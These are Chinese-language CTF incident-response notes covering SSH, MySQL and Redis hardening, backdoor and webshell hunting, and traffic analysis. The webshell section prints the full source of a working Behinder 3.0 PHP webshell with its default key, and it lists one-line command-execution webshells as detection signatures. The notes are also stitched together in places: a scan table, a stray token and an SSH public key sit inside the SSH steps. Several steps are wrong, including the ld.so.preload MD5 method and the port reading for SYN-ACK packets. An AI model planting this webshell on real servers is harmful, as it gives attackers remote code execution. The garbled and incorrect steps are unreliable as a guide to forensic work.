2024 ctf solution thinking
1.SSH加固
为了修正SSH配置并增强服务器的安全性,您需要进行以下步骤:
1. 修改SSH端口
首先,您需要修改SSH的默认端口(22)为56435。
2. 实现仅允许公钥登录
接下来,您需要配置SSH仅允许公钥登录,禁用密码登录。
具体步骤:
1. 备份当前的SSH配置文件
在进行任何修改之前,建议先备份当前的SSH配置文件。
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
2. 编辑SSH配置文件
使用您喜欢的文本编辑器(如nano
或vim
)打开SSH配置文件:
sudo nano /etc/ssh/sshd_config
3. 修改SSH端口
找到以下行并修改端口号为56435:
#Port 22
Port 56435
4. 禁用密码登录
序号,类型,路径
1,PHP变量函数后门代码-检查确认后删除相关代码,/www/zentaopms/framework/control.class.php
2,冰蝎3.0 PHP-PHP后门,建议清理,/www/zentaopms/www/.checkdatabase.php
eRvp59
找到以下行并确保它们被设置为no
:
#PasswordAuthentication yes
PasswordAuthentication no
#PermitEmptyPasswords no
# optional
PermitEmptyPasswords no
5. 启用公钥认证
确保以下行被设置为yes
:
# optional
PubkeyAuthentication yes
6. 保存并退出
保存文件并退出编辑器。如果您使用的是nano
,可以按Ctrl+O
保存,然后按Ctrl+X
退出。
7. 重启SSH服务
应用更改后,重启SSH服务以使配置生效:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJS+M4ZQJpg+ndAVD9Ab2sMDje5s1VnyfdbUl/MmPKSU yym1ng@yym1ngdeMacBook-Pro.local
sudo systemctl restart sshd
注意事项:
- 防火墙配置:确保您的防火墙(如
iptables
或ufw
)允许新的SSH端口(56435)通过。 - 客户端配置:如果您使用的是SSH客户端,确保在连接时指定新的端口号。
- 安全性:禁用密码登录和Root登录可以显著提高服务器的安全性,但请确保您已经正确配置了公钥,并且有其他方式(如控制台)可以访问服务器,以防万一。
通过以上步骤,您应该能够成功修正SSH配置,并增强服务器的安全性。
2.MySQL加固
修改MySQL数据库的安全策略配置。
任务目标:
1.配置MySOL为非标准端口 55434
2.配置禁止mysql 读取和写入文件
如果使用的是MariaDB而不是MySQL,配置文件的路径和名称可能会有所不同。对于MariaDB,配置文件通常位于 /etc/mysql/mariadb.conf.d/50-server.cnf
。
以下是如何在该文件中进行配置的步骤:
1. 配置MariaDB为非标准端口 55434
2. 配置禁止MariaDB读取和写入文件
具体步骤:
# vi /etc/my.cnf.d/server.cnf [On CentOS/RHEL]
# vi /etc/mysql/mariadb.conf.d/50-server.cnf [On Debian/Ubuntu]
1. 备份当前的MariaDB配置文件
在进行任何修改之前,建议先备份当前的MariaDB配置文件。
sudo cp /etc/mysql/mariadb.conf.d/50-server.cnf /etc/mysql/mariadb.conf.d/50-server.cnf.bak
2. 编辑MariaDB配置文件
使用您喜欢的文本编辑器(如nano
或vim
)打开MariaDB配置文件:
sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
3. 修改MariaDB端口
找到或添加以下行并修改端口号为55434:
[mysqld]
port = 55434
4. 配置禁止MariaDB读取和写入文件
为了禁止MariaDB读取和写入文件,您需要设置以下参数:
[mysqld]
secure-file-priv = /dev/
secure-file-priv
参数设置为NULL
将禁止MariaDB读取和写入文件。
5. 保存并退出
保存文件并退出编辑器。如果您使用的是nano
,可以按Ctrl+O
保存,然后按Ctrl+X
退出。
6. 重启MariaDB服务
应用更改后,重启MariaDB服务以使配置生效:
sudo systemctl restart mariadb
service mariadb restart
7. 验证配置
您可以通过以下命令验证MariaDB是否已经运行在新的端口上:
sudo netstat -tuln | grep 55434
您应该看到类似以下的输出,表示MariaDB正在监听55434端口:
tcp 0 0 0.0.0.0:55434 0.0.0.0:* LISTEN
8. 验证文件读写权限
您可以通过以下SQL命令验证secure_file_priv
参数是否生效:
SHOW VARIABLES LIKE 'secure_file_priv';
您应该看到以下输出,表示MariaDB无法读取和写入文件:
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | /dev/ |
+------------------+-------+
注意事项:
- 防火墙配置:确保您的防火墙(如
iptables
或ufw
)允许新的MariaDB端口(55434)通过。 - 客户端配置:如果您使用的是MariaDB客户端,确保在连接时指定新的端口号。
- 安全性:禁用文件读写权限可以防止某些类型的攻击,但请确保您已经正确配置了其他安全措施,如限制数据库用户的权限。
通过以上步骤,您应该能够成功修改MariaDB数据库的安全策略配置,并增强数据库的安全性。
3.ssh后门排查
找到攻击者添加后门并删除 思路:找到并删除公钥
1. 检查 ~/.ssh/authorized_keys
文件
首先,检查目标用户的 ~/.ssh/authorized_keys
文件,看看是否有未知的公钥。
cat ~/.ssh/authorized_keys
cat ~/.ssh/authorized_keys2
2. 确认公钥的来源
如果你发现未知的公钥,可以尝试确认这些公钥的来源。你可以通过以下方式来确认:
- 联系系统管理员:询问是否有其他人有权限访问该系统,并确认这些公钥是否合法。
- 检查公钥指纹:使用
ssh-keygen
工具来检查公钥的指纹,并与已知的合法公钥进行对比。
ssh-keygen -lf ~/.ssh/authorized_keys
3. 删除未知的公钥
如果你确认某个公钥是未知的或不合法的,可以将其从 ~/.ssh/authorized_keys
文件中删除。
# 使用文本编辑器打开 authorized_keys 文件
nano ~/.ssh/authorized_keys
# 或者使用 sed 命令删除特定的行
sed -i '/<unknown_public_key>/d' ~/.ssh/authorized_keys
4. 检查其他用户的 authorized_keys
文件
如果你是系统管理员,建议检查所有用户的 ~/.ssh/authorized_keys
文件,以确保没有其他用户被添加了未知的公钥。
for user in $(cut -f1 -d: /etc/passwd); do
if [ -f /home/$user/.ssh/authorized_keys ]; then
echo "Checking $user's authorized_keys file..."
cat /home/$user/.ssh/authorized_keys
fi
done
4.mysql 后门排查
攻击者利用某文件获得了ROOT权限,请找到该文件,提交该文件的MD5值(使用md5sum计算)
思路:找到MySQL插件路径,找到提权文件
考点:mysqludf自定义函数提权
以下是排查和删除 MySQL UDF 后门的步骤:
1. 确认 MySQL 插件路径
首先,确认 MySQL 的插件路径。你可以通过以下命令查看 MySQL 的配置文件(通常是 my.cnf
或 my.ini
)来找到插件路径。
cat /etc/my.cnf | grep plugin_dir
或者直接在 MySQL 命令行中查询:
SHOW VARIABLES LIKE 'plugin_dir';
#查找mysql插件存放路径。如果secure_file_priv为空,表示mysql可以写入文件到任意有权限目录,但是在创建udf用户自定义函数时,需要指定so文件的目录,MySQL 有另一项安全设置 plugin_dir,这个变量定义了 MySQL 从哪个目录加载插件和共享库,所以只能将so文件写入到该目录
show variables like '%plugin%';
2. 检查插件目录
进入 MySQL 插件目录,检查是否有可疑的文件。通常,UDF 文件的扩展名为 .so
(在 Linux 上)或 .dll
(在 Windows 上)。
ls -l /path/to/plugin_dir
3. 确认可疑文件
如果你发现可疑的文件,可以使用 md5sum
命令计算该文件的 MD5 值。
md5sum /path/to/plugin_dir/suspicious_file.so
4. 检查 MySQL 函数
检查 MySQL 中是否存在可疑的自定义函数。你可以通过以下 SQL 查询来列出所有用户定义的函数:
SELECT name FROM mysql.func WHERE type = 'function';
5. 删除可疑的 UDF 文件和函数
如果你确认某个文件是恶意的 UDF 文件,可以将其删除,并删除相应的 MySQL 函数。
# 删除 UDF 文件
rm /path/to/plugin_dir/suspicious_file.so
# 删除 MySQL 函数
DROP FUNCTION IF EXISTS suspicious_function_name;
5.Redis修复及加固
redis-cli --version
cp /usr/local/redis-7.0.9/redis.conf /usr/local/redis-7.0.9/redis.conf.bak
cp /etc/redis/redis.conf /etc/redis/redis.conf.bak
修复redis未授权访问问题,并给redis修改配置设置密码7gagyw341
bind 127.0.0.1
protected-mod yes
requirepass 7gagyw341
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
redis-cli -h 127.0.0.1 -p 6379
127.0.0.1:6379> get k1
(error) NOAUTH Authentication required.
127.0.0.1:6379>
redis-cli -h 127.0.0.1 -p 6379 -a 密码
sudo systemctl restart redis
OR
sudo service redis-server restart
6.寻找攻击者留下的webshell并删除
通过流量分析或者日志分析找到webshell名称
通过流量分析或日志分析来找到攻击者留下的 WebShell 名称是一种有效的方法。以下是具体的步骤和工具,可以帮助你完成这个过程:
1. 流量分析
使用网络流量分析工具(如 Wireshark)可以帮助你识别异常的 HTTP 请求,这些请求可能与 WebShell 的活动有关。
使用 Wireshark 分析流量
- 捕获流量:确保你的网络监控设备正在捕获进出 Web 服务器的流量。
sudo tcpdump -i eth0 -w capture.pcap
-
打开流量文件:在 Wireshark 中打开捕获的 pcap 文件。
-
过滤 HTTP 流量:使用
http
或http2
过滤器来查看 HTTP 请求。 -
查找异常模式:
-
查找不常见的请求路径,例如
/path/to/webshell.php
。 -
检查请求参数中是否有可疑的数据,如
cmd
、pass
等。 -
查看响应内容,特别是那些包含命令执行结果的内容。
2. 日志分析
Web 服务器日志记录了所有访问请求,通过分析这些日志可以发现异常的访问模式和潜在的 WebShell 活动。
分析 Apache 或 Nginx 日志
- 定位日志文件:通常位于
/var/log/apache2/access.log
或/var/log/nginx/access.log
。 - 查看日志内容:使用
cat
、less
或tail
命令查看日志文件。 - 搜索异常访问:
- 查找频繁出现的异常请求路径。
- 检查不寻常的 User-Agent 字段。
- 查找 POST 请求中的可疑参数。
- 查找返回状态码为 200 的不常见请求。
示例命令
# 查找最近几天内修改过的 PHP 文件
find /var/www/html -type f -name "*.php" -mtime -3
# 检查服务器上是否有其他可疑文件,特别是那些不在预期目录中的文件
sudo find /var/www/html -name "*.php" -exec grep -l 'eval(' {} \;
# 查找特定时间段内的访问日志
grep "192.168.1.100" /var/log/apache2/access.log
sudo grep -E 'cmd=|eval=' /var/log/apache2/access.log
# 查找包含特定关键词的日志条目
grep "eval" /var/log/apache2/access.log
3. 使用 WebShell 检测工具
专业的 WebShell 检测工具可以帮助你更快速地识别和删除 WebShell。
<?php
@error_reporting(0);
session_start();
$key="4632f70696b272dc"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>
D盾 WebShell 查杀工具
- 下载地址:D盾官网
- 使用方法:
- 解压下载的文件。
- 打开终端并导航到解压后的目录。
- 运行扫描命令:
sudo ./WebShellKill.sh /path/to/website
河马 WebShell 查杀工具
- 下载地址:河马 GitHub
- 使用方法:
- 克隆或下载仓库。
- 安装依赖项:
pip install -r requirements.txt
- 运行扫描命令:
hm-linux-amd64.tgz
4. 手动检查可疑文件
- 查找常见的 WebShell 特征:
- PHP:
<?php @eval($_POST['cmd']); ?>
- ASP:
<%execute(request("cmd"))%>
- JSP:
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
- 使用文本编辑器或代码对比工具:
- Notepad++: 可以用来手动检查文件内容。
- Beyond Compare 或 WinMerge: 对比当前文件与已知安全版本的差异。
5. 删除 WebShell
- 隔离可疑文件:将疑似 WebShell 的文件移动到隔离区,而不是直接删除,以便进一步分析。
- 彻底删除确认的 WebShell:一旦确认某个文件为 WebShell,应立即删除,并修复导致其存在的漏洞。
7.恶意流量分析
提交攻击者所窃取机密文件的md5值作为flag
获取webshel中的秘钥,利用秘钥解密冰蝎流量,并导出文件
8.后门进程分析
后门进程和隐藏计划任务的分析是网络安全中非常重要的环节,尤其是当怀疑系统已经被入侵时。下面将详细介绍如何进行后门进程的分析以及如何查找隐藏的计划任务,并最终确定攻击者的IP地址和端口。
后门进程分析
1. 检查可疑进程
使用 ps
或者 top
命令来查看当前运行的进程列表,注意那些没有窗口(对于GUI程序)、消耗异常资源或者看起来不寻常的进程。
# 查看所有进程
ps -aux
# 查找没有主窗口句柄的进程(可能包括正常后台进程)
ps -e | grep -v pts | grep -v tty
2. 分析网络连接
使用 netstat
或 ss
命令检查当前的网络连接,以发现任何异常的外部连接。
# 使用 netstat 查看所有 TCP 连接
sudo netstat -antp | grep ESTABLISHED
# 使用 ss 查看所有 TCP 连接
sudo ss -antp | grep ESTABLISHED
3. 检查监听端口
检查是否有未知的服务正在监听端口,这可能是恶意软件建立的通信通道。
# 列出所有监听的 TCP 端口
sudo netstat -anlt | grep LISTEN
# 使用 ss 查看所有监听的 TCP 端口
sudo ss -anlt | grep LISTEN
4. 日志审查
查阅系统日志文件,如 /var/log/auth.log
或 /var/log/secure
,寻找失败的登录尝试或其他可疑活动。
sudo tail -f /var/log/auth.log
查找隐藏计划任务
在Linux系统中,隐藏计划任务可能会被设置为不显示在常规的 crontab -l
输出中。要找到这些隐藏的任务,你可以采取以下步骤:
1. 查看用户级 crontab 文件
每个用户的 crontab 文件都存储在 /var/spool/cron/crontabs/
目录下。作为 root 用户,可以列出这些文件。
用户的 crontab 文件被命名为用户的名字,并且它们的位置由于操作系统不同而不同。在基于 Red Hat 的发行版中,例如 CentOS, crontab文件被存储在 /var/spool/cron目录,而在 Debian 和 Ubuntu中,这些文件被存储在 /var/spool/cron/crontabs文件夹。
crontab -l
sudo ls -la /var/spool/cron/crontabs/
2. 检查全局 cron 配置
除了用户级的 crontab 外,还有系统级别的 cron 任务配置文件位于 /etc/
下的不同子目录中,比如 /etc/crontab
, /etc/cron.d/
和 /etc/cron.*
等。
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
3. 搜索整个文件系统
如果怀疑存在隐蔽的计划任务,可以搜索整个文件系统中的 .cron
或者 crontab
文件。
sudo find / -name "*.cron" -o -name "crontab"
cd /var/spool/cron
cat root
cat -A root
vi root
vim 可以看到有用信息
找到攻击者的 IP 地址 + 端口
一旦发现了可疑的网络连接或监听端口,下一步就是确定攻击者的IP地址和使用的端口。
1. 分析网络连接输出
从之前使用 netstat
或 ss
的输出中,你可以看到与特定IP地址和端口建立的连接。例如:
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 192.168.1.100:22 116.99.45.41:49773 ESTABLISHED 1234/sshd: user [priv]
在这个例子中,116.99.45.41:49773
就是攻击者的IP地址和端口。
ps aux |grep 1234
flag{192.210.207.136/1234}
# 父进程
cat /proc/312/status
9.后门清除
找到并清除服务器中的所有后门
考察:环境变量后门,恶意用户后门
清除服务器中的后门是一个细致且系统化的过程,需要对可能存在的各种后门形式有全面的了解。针对您提到的环境变量后门和恶意用户后门,下面将分别提供相应的查找与清除步骤。
环境变量后门
环境变量后门通常通过设置特定的环境变量来加载恶意代码或动态链接库(DLLs)。这种类型的后门可以非常隐蔽,因为它们不会在常见的进程列表中显示出来。
查找环境变量后门
- 检查全局环境变量:
- 查看
/etc/environment
文件。 - 检查
/etc/profile
、/etc/bashrc
或其他 shell 初始化文件。 - 使用
printenv
命令查看当前会话的所有环境变量。
- 检查用户级环境变量:
- 对于每个用户,检查其家目录下的
.bash_profile
,.bashrc
,.profile
等文件。 - 特别注意如
LD_PRELOAD
,LD_LIBRARY_PATH
等可以影响程序行为的环境变量。
- 使用工具辅助检测:
chkrootkit
和rkhunter
等安全工具可以帮助识别某些类型的环境变量后门。
清除环境变量后门
- 删除或注释可疑的环境变量设置:
- 在相关的配置文件中找到并移除或注释掉那些看起来不正常或可疑的环境变量设置。
- 重启服务:
- 重新启动任何可能受到影响的服务,以确保新的环境变量设置生效。
- 清理已加载的恶意库:
- 如果已经确定了恶意库的位置,可以直接删除这些文件,并确保没有残留的引用。
恶意用户后门
恶意用户后门指的是攻击者创建的额外账户,这些账户可能拥有管理员权限或其他特权,允许攻击者再次访问系统。
查找恶意用户后门
- 检查
/etc/passwd
文件:
- 使用
cat /etc/passwd
查看所有用户列表。 - 注意那些UID为0的用户(除了root),以及最近添加的新用户。
- 检查登录历史记录:
- 使用
last
和lastlog
命令查看用户的登录活动。 - 检查
/var/log/auth.log
或/var/log/secure
日志文件,寻找异常登录尝试或成功登录记录。
- 查看SSH密钥:
- 检查
/home/用户名/.ssh/authorized_keys
文件,看看是否有未知的公钥。 - 删除任何非预期的条目。
清除恶意用户后门
- 删除恶意用户:
- 使用
userdel
命令删除可疑用户。例如:sudo userdel -r suspicious_user
-r
参数表示同时删除用户的主目录及邮件池。
- 删除相关文件:
- 删除与恶意用户相关的文件,特别是他们的家目录和
.ssh
文件夹中的内容。
清除服务器中的所有后门是一个复杂且细致的任务。以下是一些常见的后门类型及其清除方法:
1. 环境变量后门
攻击者可能会在环境变量中添加恶意命令或路径,以便在用户登录时自动执行。
检查和清除环境变量后门:
- 检查用户环境变量:
检查当前用户的环境变量:
env
检查所有用户的环境变量:
cat /etc/profile
cat /etc/bashrc
cat ~/.bashrc
cat ~/.bash_profile
cat ~/.profile
- 查找可疑的环境变量:
查找包含可疑路径或命令的环境变量。例如:
export PATH=/malicious/path:$PATH
export LD_PRELOAD=/malicious/library.so
- 删除可疑的环境变量:
编辑相应的配置文件(如 /etc/profile
、~/.bashrc
等),删除或注释掉可疑的环境变量。
2. 恶意用户后门
攻击者可能会创建恶意用户或修改现有用户的权限,以便在系统中留下后门。
检查和清除恶意用户后门:
- 检查用户列表:
列出所有用户:
cat /etc/passwd
检查是否有未知的或可疑的用户。
- 检查用户权限:
检查用户的权限和组:
cat /etc/group
检查是否有用户被添加到特权组(如 sudo
或 wheel
)。
- 删除恶意用户:
删除可疑用户:
sudo userdel -r suspicious_user
- 重置用户密码:
重置所有用户的密码,特别是特权用户的密码:
sudo passwd root
sudo passwd user1
10.数据库恢复
恢复攻击者删除的数据库
思路:利用source命令恢复数据库
MySQL数据库恢复
数据库恢复:利用 source
命令恢复MySQL数据库
当遇到攻击者删除了数据库的情况,如果你之前有定期备份数据库的习惯,那么可以使用这些备份来恢复数据。这里我们将介绍如何使用 source
命令从SQL文件中恢复数据库。
1. 准备工作
- 确保你有一个有效的数据库备份文件(
.sql
格式)。 - 确认MySQL服务正在运行,并且你拥有足够的权限执行恢复操作。通常需要具有
CREATE
,INSERT
,DROP
等权限。 - 如果可能,先在测试环境中尝试恢复过程,以确保不会影响生产环境。
2. 创建数据库
如果被删除的数据库还没有被重新创建,你需要首先创建一个同名的新数据库:
mysql -u root -p
登录后,执行以下命令创建数据库:
CREATE DATABASE your_database_name;
3. 使用 source
命令恢复数据库
your_backup.sql默认路径 /var/lib/mysql/backups 没有的话配置文件中找 datadir
# vi /etc/my.cnf.d/server.cnf [On CentOS/RHEL]
# vi /etc/mysql/mariadb.conf.d/50-server.cnf [On Debian/Ubuntu]
接下来,你需要选择要恢复的数据库,并通过 source
命令导入备份文件中的SQL语句:
mysql -u root -p your_database_name < /path/to/your_backup.sql
或者,你可以进入MySQL命令行界面,然后指定数据库并使用 source
命令:
mysql -u root -p
输入密码后,在MySQL提示符下执行:
USE your_database_name;
SOURCE /path/to/your_backup.sql;
注意: 路径 /path/to/your_backup.sql
应该替换为你的备份文件实际所在的完整路径。如果备份文件位于MySQL服务器上,则直接使用该路径;如果文件在客户端计算机上,你可能需要先将文件上传到服务器,或者使用重定向方法直接从客户端读取文件内容。
4. 验证恢复结果
完成上述步骤后,检查数据库是否已成功恢复。可以通过查询特定表或查看数据库结构来验证:
SHOW TABLES;
SELECT * FROM some_table LIMIT 10; # 替换some_table为具体表名
11.流量分析
确认并提交攻击者执行的第一个命令 考察点:流量分析,寻找攻击痕迹
流量分析是确认攻击者执行的第一个命令的重要手段。通过分析网络流量,可以识别出攻击者与服务器之间的交互,从而找到攻击者执行的第一个命令。以下是详细的步骤和工具,帮助你进行流量分析并确认攻击者执行的第一个命令。
1. 捕获流量
首先,你需要捕获服务器上的网络流量。可以使用 tcpdump
或 Wireshark
来捕获流量。
使用 tcpdump
捕获流量:
sudo tcpdump -i eth0 -w capture.pcap
使用 Wireshark
捕获流量:
- 打开 Wireshark。
- 选择要捕获流量的网络接口(如
eth0
)。 - 开始捕获流量。
2. 分析流量
捕获流量后,使用 Wireshark 或其他流量分析工具来分析流量。
使用 Wireshark 分析流量:
- 打开捕获的流量文件(如
capture.pcap
)。 - 过滤 HTTP 请求:
http
- 查找可疑的 HTTP 请求:
查找包含可疑参数或路径的 HTTP 请求。例如,查找包含 cmd
、eval
、exec
等参数的请求。
http.request.uri contains "cmd" or http.request.uri contains "eval" or http.request.uri contains "exec"
- 查看请求的详细信息:
双击可疑的 HTTP 请求,查看请求的详细信息,包括请求头、请求体和响应内容。
3. 确认攻击者执行的第一个命令
通过分析流量,确认攻击者执行的第一个命令。通常,攻击者执行的第一个命令可能是尝试获取系统信息、列出目录内容或执行其他初始操作。
示例:
假设你发现以下 HTTP 请求:
GET /path/to/webshell.php?cmd=ls HTTP/1.1
这表明攻击者执行的第一个命令是 ls
,用于列出当前目录的内容。
4. 提交攻击者执行的第一个命令
确认攻击者执行的第一个命令后,将其提交。
示例:
假设攻击者执行的第一个命令是 ls
,你可以将其提交为:
ls
5. 进一步分析和清除后门
确认攻击者执行的第一个命令后,进一步分析流量以识别其他攻击行为,并清除服务器中的后门。
步骤:
- 查找其他可疑请求:
继续分析流量,查找其他可疑的 HTTP 请求,特别是那些包含恶意参数或路径的请求。
- 清除 WebShell:
找到并删除服务器中的 WebShell 文件。
sudo rm /path/to/webshell.php
- 加强安全措施:
为了防止未来再次被攻击者上传 WebShell,建议加强服务器的安全措施:
- 更新和修补系统:确保操作系统和所有软件都更新到最新版本,以修复已知漏洞。
- 限制文件上传:限制用户上传文件的类型和大小,并检查上传文件的内容。
- 使用 Web 应用防火墙(WAF):使用 WAF 来检测和阻止恶意请求。
- 定期备份和监控:定期备份网站数据,并监控服务器日志以检测异常活动。
通过以上步骤,你可以有效地通过流量分析确认攻击者执行的第一个命令,并采取相应的措施来清除后门和加强服务器的安全性。
12.流量分析
攻击者从服务器中窃取了文件,请提交该文件的文件名 考察:流量分析,寻找攻击痕迹
在流量分析中,攻击者从服务器中窃取文件的行为通常会表现为 HTTP 请求或 FTP 传输。以下是详细的步骤和工具,帮助你进行流量分析并确认攻击者窃取的文件名。
1. 捕获流量
首先,你需要捕获服务器上的网络流量。可以使用 tcpdump
或 Wireshark
来捕获流量。
使用 tcpdump
捕获流量:
sudo tcpdump -i eth0 -w capture.pcap
使用 Wireshark
捕获流量:
- 打开 Wireshark。
- 选择要捕获流量的网络接口(如
eth0
)。 - 开始捕获流量。
2. 分析流量
捕获流量后,使用 Wireshark 或其他流量分析工具来分析流量。
使用 Wireshark 分析流量:
- 打开捕获的流量文件(如
capture.pcap
)。 - 过滤 HTTP 请求:
http
- 查找文件下载请求:
查找包含文件下载的 HTTP 请求。通常,文件下载请求会包含 GET
方法和文件路径。
http.request.method == "GET"
- 查看请求的详细信息:
双击可疑的 HTTP 请求,查看请求的详细信息,包括请求头、请求体和响应内容。
3. 确认攻击者窃取的文件名
通过分析流量,确认攻击者窃取的文件名。通常,文件下载请求的 URI 中会包含文件名。
示例:
假设你发现以下 HTTP 请求:
GET /path/to/sensitive_file.txt HTTP/1.1
这表明攻击者窃取的文件名是 sensitive_file.txt
。
4. 提交攻击者窃取的文件名
确认攻击者窃取的文件名后,将其提交。
示例:
假设攻击者窃取的文件名是 sensitive_file.txt
,你可以将其提交为:
sensitive_file.txt
13.后门排查
攻击者对系统命令进行了劫持,请找到该系统命令,并提交命令文件的md5
(使用md5sum命令计算)
使用find命令查找结合参数-newermt查找特定时间的文件
攻击者对系统命令进行劫持通常是通过替换或修改系统命令的可执行文件来实现的。为了找到被劫持的系统命令并计算其 MD5 值,你可以使用 find
命令结合 -newermt
参数来查找特定时间范围内修改的文件。
1. 查找特定时间范围内修改的文件
首先,使用 find
命令查找在特定时间范围内修改的文件。假设你想查找在过去 24 小时内修改的文件,可以使用以下命令:
find /usr/bin /usr/sbin /bin /sbin -type f -newermt $(date -d "24 hours ago" +%Y-%m-%d)
2. 检查可疑文件
在查找结果中,检查是否有可疑的系统命令文件。通常,被劫持的系统命令文件会有异常的权限或所有者。
3. 计算文件的 MD5 值
找到可疑的系统命令文件后,使用 md5sum
命令计算其 MD5 值。
md5sum /path/to/suspicious_command
4. 提交命令文件的 MD5 值
将计算出的 MD5 值提交。
假设你发现 /usr/bin/ls
文件在最近 24 小时内被修改,并且你怀疑它被劫持了。你可以执行以下步骤:
- 查找特定时间范围内修改的文件:
find /usr/bin /usr/sbin /bin /sbin -type f -newermt $(date -d "24 hours ago" +%Y-%m-%d)
- 检查可疑文件:
假设你发现 /usr/bin/ls
文件在查找结果中。
- 计算文件的 MD5 值:
md5sum /usr/bin/ls
假设输出为:
5d41402abc4b2a76b9719d911017c592 /usr/bin/ls
- 提交命令文件的 MD5 值:
将 5d41402abc4b2a76b9719d911017c592
提交。
5. 恢复原始文件
如果确认某个系统命令文件被劫持,建议恢复原始文件或从可信源重新安装该命令。
恢复原始文件:
- 备份被劫持的文件:
sudo cp /usr/bin/ls /usr/bin/ls.bak
- 从备份或可信源恢复文件:
sudo cp /path/to/original/ls /usr/bin/ls
14.后门排查
攻击者上传了恶意程序,高度占用系统资源,请提交该恶意程序的32位MD5值(小写)。
思路:busybox查找
后门排查:动态链接库劫持
攻击者可能会通过动态链接库(DLL)劫持来执行恶意代码,尤其是在系统资源被高度占用的情况下。以下是排查和获取恶意程序32位MD5值的步骤:
步骤 1: 使用 busybox
查找高资源占用的进程
- 查找高CPU占用的进程:
./busybox top -b -n 1 | ./busybox grep -v "PID" | ./busybox sort -k 9 -r | ./busybox head -n 5
- 查找高内存占用的进程:
./busybox top -b -n 1 | ./busybox grep -v "PID" | ./busybox sort -k 10 -r | ./busybox head -n 5
步骤 2: 获取可疑进程的PID
从上述命令的输出中,找到可能是恶意程序的进程PID。
步骤 3: 检查进程的动态链接库
使用 busybox
检查该进程加载的动态链接库:
./busybox lsof -p <PID> | busybox grep .so
将 <PID>
替换为你在上一步中找到的进程ID。
步骤 4: 分析可疑的动态链接库
从 lsof
的输出中,找到可能是恶意动态链接库的文件路径。通常,这些文件可能位于 /tmp
、/var/tmp
或其他非标准目录中。
步骤 5: 计算可疑动态链接库的MD5值
使用 busybox
计算该文件的MD5值:
busybox md5sum <文件路径> | busybox awk '{print $1}'
将 <文件路径>
替换为你在上一步中找到的文件路径。
步骤 6: 提交32位MD5值
将计算出的MD5值提交,确保它是小写的32位MD5值。
示例
假设你找到的可疑进程的PID是 1234
,动态链接库路径是 /tmp/malicious_library.so
,那么你可以执行以下命令:
busybox lsof -p 1234 | busybox grep .so
busybox md5sum /tmp/malicious_library.so | busybox awk '{print $1}'
假设输出是 5f4dcc3b5aa765d61d8327deb882cf99
,那么这就是你要提交的32位MD5值。
15.后门排查
攻击者对系统函数调用进行了劫持,请提交攻击者利用的配置文件的32位MD5值(小写)。
/etc/ld.so.preload
考察点:环境变量劫持
要解决这个问题,我们需要了解攻击者是如何利用 /etc/ld.so.preload
文件来劫持系统函数调用的。/etc/ld.so.preload
是一个特殊的文件,它允许在程序启动时加载指定的共享库,从而可以劫持系统函数调用。
步骤:
- 定位配置文件:
- 题目已经给出了配置文件的路径:
/etc/ld.so.preload
。
- 获取文件内容:
- 我们需要获取
/etc/ld.so.preload
文件的内容。假设文件内容如下:
cat -A /etc/ld.so.preload
OR
./busybox cat /etc/ld.so.preload
strace -f -e trace=file /bin/ls
/path/to/malicious_library.so
- 计算MD5值:
- 使用
md5sum
命令计算文件内容的MD5值。
示例操作:
假设 /etc/ld.so.preload
文件内容如下:
/path/to/malicious_library.so
我们可以使用以下命令来计算MD5值:
echo -n "/path/to/malicious_library.so" | md5sum
假设输出为:
3e25960a79dbc69b674cd4ec67a72c62 -
结果:
- 32位MD5值为
3e25960a79dbc69b674cd4ec67a72c62
。
最终答案:
3e25960a79dbc69b674cd4ec67a72c62
请注意,实际的MD5值可能会根据文件内容的不同而有所变化。你需要根据实际的文件内容来计算MD5值。
16.流量分析
攻击者对目标 10.2.2.103进行了扫描,请提交攻击者扫描到的开放端口,端过滤查找tcp扫描流量口以从低至高排序,
过滤查找tcp扫描流量
考察:端口扫描流量分析
为了完成这个任务,我们需要使用Wireshark来过滤和分析TCP端口扫描的流量。下面是具体的操作步骤,包括如何设置过滤器、如何识别开放端口以及最后如何整理出一个从低到高排序的开放端口列表。
1. 打开捕获文件
首先,在Wireshark中打开包含攻击者对目标10.2.2.103
进行扫描的网络数据包捕获文件(.pcap或.pcapng格式)。
2. 设置显示过滤器以查找TCP扫描流量
在Wireshark的显示过滤器栏中输入以下表达式来筛选出与10.2.2.103
相关的所有TCP流量:
ip.addr == 10.2.2.103 and tcp
这将只展示那些源地址或目的地址为10.2.2.103
且协议为TCP的数据包。
3. 进一步细化过滤条件以识别SYN-ACK响应
为了找到开放的端口,我们需要特别关注那些接收到SYN-ACK响应的数据包。这是因为当攻击者发送一个SYN包给一个开放的端口时,如果该端口是开启状态,目标系统会回复一个SYN-ACK包。因此,我们可以通过寻找这些SYN-ACK响应来确定哪些端口是开放的。应用如下过滤器:
ip.addr == 10.2.2.103 and tcp.flags.syn == 1 and tcp.flags.ack == 1
这个过滤器将只显示那些由10.2.2.103
发出并且回应了SYN-ACK的数据包。
4. 分析结果以提取开放端口号
浏览通过上述过滤器得到的数据包列表,记录下每个SYN-ACK数据包中的目标端口号(即Destination Port
)。这些就是被确认为开放的端口。你可以直接从Wireshark的数据包详情窗口读取这些信息。
5. 整理开放端口列表并按顺序排列
将收集到的所有开放端口号按照从小到大的顺序排列。例如,如果你发现了以下端口为开放状态:80, 22, 443, 21,则最终答案应该是一个有序列表[21, 22, 80, 443]。
使用tshark进行自动化处理
